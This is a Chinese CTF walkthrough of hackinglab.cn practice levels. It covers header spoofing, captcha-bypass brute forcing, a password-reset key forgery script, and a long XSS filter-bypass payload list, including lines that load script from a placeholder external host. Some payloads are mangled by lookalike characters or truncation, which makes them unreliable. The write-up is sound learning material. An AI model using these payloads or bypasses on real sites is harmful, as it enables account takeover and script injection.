Bootstrap

hackinglab习题解析

hackinglab基础关

hackinglab网址:网络安全实验室|网络信息安全攻防学习平台 (hackinglab.cn)
使用的抓包软件为:BurpSuite
BurpSuite安装教程
至于使用教程太多了,而且我觉得讲的都不是很清楚,所以就不放链接了自己找。

第一题-key就在这里中,你能找到他吗?

过关地址:http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php

key就在这里中,你能找到他吗?

按F12直接看就找到了
在这里插入图片描述

第二题-再加密一次你就得到key啦~

再加密一次你就得到key啦~

分值:150

加密之后的数据为xrlvf23xfqwsxsqf

这是凯撒加密,位移13位得到

在这里插入图片描述

凯撒加密网址:凯撒密码在线加密解密 - 千千秀字 (qqxiuzi.cn)

第三题-猜猜这是经过了多少次加密?

猜猜这是经过了多少次加密?

分值:200

加密后的字符串为:—太长了,略—

这题最后有个=,推测是base64编码,题目说猜猜经过了多少次加密,那应该是很多次,经过多次解密,最后解出答案。由于涉及多次解码,可以编写程序进行解码,也可以手动进行。

在这里插入图片描述

第四题-据说MD5加密很安全,真的是么?

据说MD5加密很安全,真的是么?

分值:200

e0960851294d7b2253978ba858e24633

直接MD5解密即可

MD5解密网址:md5在线解密破解,md5解密加密 (cmd5.com)

第五题-种族歧视

种族歧视

分值:300

小明同学今天访问了一个网站,竟然不允许中国人访问!太坑了,于是小明同学决心一定要进去一探究竟!
通关地址:http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php

使用抓包软件(Burp Suite)修改Accept-Language,直接把后面的删掉,或者严谨一点,改成Accept-Language: en-US,en;q=0.8
在这里插入图片描述

第六题-HAHA浏览器

HAHA浏览器

分值:200

据说信息安全小组最近出了一款新的浏览器,叫HAHA浏览器,有些题目必须通过HAHA浏览器才能答对。小明同学坚决不要装HAHA浏览器,怕有后门,但是如何才能过这个需要安装HAHA浏览器才能过的题目呢?
通关地址:http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php

只允许使用HAHA浏览器,请下载HAHA浏览器访问!

修改User-Agent 的值,改为HAHA

在这里插入图片描述
在这里插入图片描述

第七题-key究竟在哪里呢?

key究竟在哪里呢?

分值:200

上一次小明同学轻松找到了key,感觉这么简单的题目多无聊,于是有了找key的加强版,那么key这次会藏在哪里呢?
通关地址:http://lab1.xseclab.com/base7_eb68bd2f0d762faf70c89799b3c1cc52/index.php

Key就在这里,猜猜这里是哪里呢?(Web找key加强版)

这次F12里面就找不到了,抓包之后发现在response header里面

在这里插入图片描述

第八题-key又找不到了

key又找不到了

分值:350

小明这次可真找不到key去哪里了,你能帮他找到key吗?
通关地址:http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php

进入之后有这样一个页面:到这里找key_ ,我们F12查看一下,发现点击“到这里找key”后,原本应该进入search_key.php页面,但是实际上进去的是index_no_key.php页面

在这里插入图片描述

点击进入这个页面之后就变成了这样在这里插入图片描述这里的关键点在a标签里面,本来应该跳转过去正确的页面的,但是跳转后页面不对,可知发生了重定向。让网页跳转到index_no_key.php这个网页,所以我们直接访问http://hacklist.sinaapp.com/base8_0abd63aa54bef0464289d6a42465f354/key_is_here_now_.php 就可以得到正确的key了 。

第九题-冒充登陆用户

冒充登陆用户

分值:200

小明来到一个网站,还是想要key,但是却怎么逗登陆不了,你能帮他登陆吗?
通关地址:http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php

看到题目是冒充登陆用户,考虑应该是用到cookie。我们进行抓包,发现在响应中cookie中有线索,在cookie中有个Login=0,我们推测将它改为1即可登陆了。于是我们将请求中加一句Cookie: Login=1

在这里插入图片描述

这样加就行了在这里插入图片描述

第十题-比较数字大小

比较数字大小

分值:100

只要比服务器上的数字大就可以了!
通关地址:http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php

我们注意到这里对框内的输入做了限制,导致我们无法输入很大的数(最大只能输入三位数,即999),可以按F12直接找到JavaScript把maxlength改掉,随便改成一大数即可。或者抓包,把数据改成大的数再发送也是可以的。

在这里插入图片描述

在这里插入图片描述

第十一题-本地的诱惑

本地的诱惑

分值:200

小明扫描了他心爱的小红的电脑,发现开放了一个80端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的80端口到底隐藏着什么秘密(key)?
通关地址:http://lab1.xseclab.com/base11_0f8e35973f552d69a02047694c27a8c9/index.php

网页内容:必须从本地访问

网站判断用户的ip是通过x-forwarded-for来判断的,在request中增加参数:x-forwarded-for:127.0.0.1,得到key:^&*(UIHKJjkadshf

不过在我做的时候该题出现了问题,于是网站把key直接给出了

在这里插入图片描述

第十二题-就不让你访问

就不让你访问

分值:150

小明设计了一个网站,因为总是遭受黑客攻击后台,所以这次他把后台放到了一个无论是什么人都找不到的地方…可最后还是被黑客找到了,并被放置了一个黑页,写到:find you ,no more than 3 secs!
通关地址:http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php

我们点进去后发现网页内容:I am index.php , I am not the admin page ,key is in admin page.

这里考察的是robots.txt的知识,robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。

在浏览器中输入链接:

http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/robots.txt

在这里插入图片描述
这里表示不允许访问/9fb97531fe95594603aff7e794ab2f5f/,于是我们就访问他

继续输入链接:

http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/

打开之后网页内容为:you find me,but I am not the login page. keep search.

这里有个提示:login page,那么试试/login.php就成功了。

在这里插入图片描述

hackinglab脚本关

第一题-key又又找不到了

key又又找不到了

分值: 200

小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!
通关地址lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

我们抓包查看,发现有a的标签,于是进入,果然key藏在网页里面

在这里插入图片描述

在这里插入图片描述

第二题-快速口算

快速口算

分值: 350

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?
通关地址 :http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php

这题考验写脚本的能力,需要我们编写一个python脚本

import requests
import re

url='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s= requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]
result=eval(num)
r=s.post(url,data={'v': eval(num)})
print (r.text)

在这里插入图片描述

第三题-这个题目是空的

这个题目是空的

分值: 100

Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)

这题考验基本的编程知识,空值是NUll于是我们输入null即可

1

第四题-怎么就是不弹出key呢?

怎么就是不弹出key呢?

分值: 150

提交说明:提交前14个字符即可过关
通关地址:http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php

​ 这里我们看到里面的代码,我们应该要的是下面那个函数,但是上面那个函数返回了false,我们不想要他

于是我们ctrl+s保存下这个页面,篡改代码,再打开

在这里插入图片描述

于是就弹出了key

在这里插入图片描述

第五题-逗比验证码第一期

逗比验证码第一期

分值: 100

逗比的验证码,有没有难道不一样吗?
通关地址:http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

这里需要输入用户名、密码、验证码进行登录,这一关的验证码是可以重复使用的,因此我们可以使用Burp Suite的暴力破解功能

1.首先我们随便输入password,输入正确的验证码登入并抓包。仅仅对密码进行爆破

在这里插入图片描述

2.由于提示了登陆密码是4位纯数字数,第一位不为0,为了快速解决我们使用脚本生成字典

f = open("pwd.txt", "w+")
for i in range(1, 10, 1):
 for j in range(0, 10, 1):
     for t in range(0, 10, 1):
         for k in range(0, 10, 1):
             pwd = "{0}{1}{2}{3}\n".format(i, j, t, k)
             f.write(pwd)
f.close()                                                             

3.我们选择攻击载荷发现攻击完成,1238就是密码

在这里插入图片描述

第六题-逗比验证码第二期

逗比验证码第二期

分值: 150

验证便失效的验证码
通关地址:http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”
Tips:密码是4位数字,首位不是0

这里验证码只能验证一次,来阻止爆破密码,但是我们发现如果把验证码值删除为空是可以继续爆破的

在这里插入图片描述

第七题-逗比的验证码第三期(SESSION)

逗比的验证码第三期(SESSION)

分值: 150

尼玛,验证码怎么可以这样逗比。。
验证码做成这样,你家里人知道吗?
通关地址:http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php

程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”
Tips:密码是4位数字,首位不是0
Tips2: SESSION

这题提示了SESSION ,验证码加密后储存在session,验证码图片被动更新, session 和 cookie 也就跟着变了。但是题解使用上一题的方式一样的能出来。

在这里插入图片描述

第八题-微笑一下就能过关了

微笑一下就能过关了

分值: 150

尼玛,碰到这样的题我能笑得出来嘛…
通关地址:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php

这题首先在响应代码中并未发现有用信息,于是我们推测源代码中也许有机会,但是我们仔细看会发现里面有一个a标签给了源代码

在这里插入图片描述

我们进入源代码发现可能想要(●’◡’●)这样的微笑,于是我们给它

在这里插入图片描述

代码审计
(1)^_^进行赋值,但是值中不能有_
(2)不可以包含“.”、“%”、“0-9的数字”、“%”、“http”、“https”、“ftp”、“telnet”、“%(3)不可以存在文件,但文件的内容要是(●’◡’●)
方法一:使用query string的知识构造
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,('◡')
方法二:把 _ url编码了payload:/index.php?^%5f^=data:,('◡')
这两种方法都涉及我的知识盲区

第九题-逗比的手机验证码

逗比的手机验证码

分值: 150

你的手机号码是13388886666,验证码将会以弹窗的形式给出
通关地址:http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/

页面如下

在这里插入图片描述

这题我们点击获取验证码后会给你验证码,但是点击提交之后会显示:please login as 13388886667,让我们用另一个手机号登录。于是我们用另一个手机号登录,并且使用这个验证码就行了。

在这里插入图片描述

第十题-基情燃烧的岁月

基情燃烧的岁月

分值: 150

Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666

通关地址:http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

我们进入地址发现需要暴力破甲验证码

在这里插入图片描述

注意:这里我们要将获取验证码和提交都抓包,先发送获取验证码再对提交内容进行爆破。直接对提交内容进行爆破是没用的。

在这里插入图片描述

继续对13399999999爆破就可以得到flag

第十一题-验证码识别

验证码识别

分值: 350

验证码识别
Tips:验证码依然是3位数
通关地址:http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

该题页面如下

在这里插入图片描述

这题很麻烦,图片验证码应该是一次性的,既当每次登陆请求到达后台验证逻辑时,之前的图片验证码就会过期。如果想利用暴破手段来强行登陆的话,每次访问登陆请求之前需要先访问一下获取图片验证码的请求。

参考文章:

https://blog.csdn.net/u013250169/article/details/117327602

hackinglab-脚本关11-验证码识别:用python实现验证码识别_博客-CSDN博客

hackinglab-脚本关11——验证码识别_Ifish的博客-CSDN博客

第十二题-XSS基础关

XSS基础关

分值: 50

XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左侧<子系统>
通关地址:http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

注意:做该类题目必须平台登录才行

我们进去后发现可以输入,并且我们输入什么就显示什么,可能是dom型XSS

在这里插入图片描述

我们查看源代码,发现似乎想让让我们弹出alert

在这里插入图片描述

由于这里给出了提示,使用alert(HackingLab),于是我们只要在输入框使用即可

在这里插入图片描述

第十三题-XSS基础2:简单绕过

XSS基础2:简单绕过

分值: 100

很容易就可以过关.
通关地址:http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php

我们首先按照上一关那样试一试

在这里插入图片描述

显示有XSS检测过滤,应该是只针对script进行了过滤。
现在换一种XSS注入方式,输入:hello<img src=0 οnerrοr=“alert(HackingLab)” />然后提交,显示:key is: xss2test2you
使用类似<input/οnfοcus==alert,(HackingLab)>这样的也可以

第十四题-XSS基础3:检测与构造

XSS基础3:检测与构造

分值: 130

XSS基础3:检测与构造
Tips:不是很难
通关地址:http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

这题的区别在于,所输入的内容是放在input标签里面的,属于恶意数据出现在普通属性内

在这里插入图片描述

我们尝试逃脱标签

在这里插入图片描述
发现逃脱失败,内容原原本本的呈现了出来,然后我怎么做的,我忘了。看别人的答案去吧。

第十五题-Principle很重要的XSS

Principle很重要的XSS

分值: 300

原理/原则/理念很重要…不是所有的xss都叫特仑苏… _
Take it easy!
通关地址:http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php

XXS防御以及绕过的几种方式

1.不设防御——经典测试

<script>alert(1)</script>

2.小写script替换——大写绕过

<SCRIPT>alert(1)</SCRIPT>

3.script替换——双写绕过

<scr<script>ipt>alert(1)</script>

4.script替换——其他标签

<img src = 1 onerror = alert(HackingLab)>

5.当源代码中含有htmlspecialchars时,会把预定的<,>,&等符号转换为HTML实体(&lt等)就会解析为字符串,无法解析为html语言。

弹窗关键字检测绕过

基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:
添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多行注释:alert/*abcd*/(/xss/)
添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使用''代替():alert'xss'
使用括号分割:(alert)(/xss/)、((alert))(/xss/)

使用window和top:
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>

<input/onfocus=_=alert,_(HackingLab)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>

通过异常处理:
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

eval(string)参数为字符串,可以拼接关键字绕过检测。
<svg/onload=eval('ale'+'rt(1)')>

跳转中使用关键字拼接

<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>

编码绕过

html实体编码
<iframe src=javascript:alert(1)>  //自动触发

十进制:
<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

十六进制:
<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x2

URl编码
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

Unicode编码
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> 
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>

有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式,如注释、注释换行等
同样也可以使用window[‘eval’]

1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

Base64编码
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

引入外部JS

通过在<script>标签中引入其他字符绕过

1.<script/src='1.js'/~~234*234></script ~~234*234>
2.οnfοcus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
3.οnfοcus='a=document.createElement("scr"+"ipt");a.src="http://x.x.x.x";body.appendChild(a);' //拆分关键字
4. //SSI
5.<link%20rel=import%20href="2.js">
相关知识点补充
/(单斜杆) 在html标签中相当于空格

<iframe/sr/c=javascript:alert(1)>
浏览器中相当于:
<iframe sr c=javascript:alert(1)>
//(注释单行)是JS的注释标签;
(//)到后面第一个(>)之间的字符都会被注释掉
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//<p>123</p>效果就是<p被注释掉

思维导图

οnclick='document.getElementById(“msg”).innerHTML=String.fromCharCode(60,105,110,112,117,116,32,116,121,112,101,61,34,98,117,116,116,111,110,34,32,111,110,99,108,105,99,107,61,34,97,108,101,114,116,40,72,97,99,107,105,110,103,76,97,98,41,34,32,118,97,108,117,101,61,34,99,108,105,99,107,32,109,101,34,32,47,62)

hackinglab注入关

注入关因为网站数据库的原因无法做了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lNgP07um-1659149205586)(C:\Users\SuZhe\Documents\MD文档\CTF\image-20220725103514271.png)]

hackinglab上传关
在这里插入图片描述

我们查看源码发现是前端JavaScript解析了文件名,我们改一改后缀名就可以了,

hackinglab解密关

以管理员身份登录系统

分值: 450

以管理员身份登录即可获取通关密码(重置即可,无需登录)
通关地址

通关博客:[(4条消息) CTF 网络安全实验室] [解密关第1题]_沙之夏的博客-CSDN博客_ctf解密题

补充说明:假设除了admin用户,其它用户的邮箱都可被登录获取重置密码的链接。

当进入忘记页码界面,点击重置密码时,会根据当前时间戳生成sukey值,尔后重置密码时会验证sukey值与username,当然,cookies也很有可能加入验证,那么只要在忘记密码页面输入admin,并且点击重置密码,服务器就会生成相应的sukey,我们可以根据当前系统时间,自己伪造出sukey,然后使用自己生成的sukey,向reset.php发送访问请求,理论上就能重置admin密码。

也就是说,咱们要访问的网址是http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php 然后后面应该带上伪造出的sukey和username。由于这个sukey是根据时间实时出现的,所以应该使用脚本语言去进行破解

import requests
import time
import hashlib

url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/resetpassword.php'
data = {
    'username': 'admin',
}

session =requests.session()
session.post(url,data)
date = str(int(time.time()))

md5 = hashlib.md5()
md5.update(date.encode('utf-8'))
sukey = md5.hexdigest()

url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey='+sukey+'&username=admin'
page = session.get(url).text
print(page)

在这里插入图片描述

;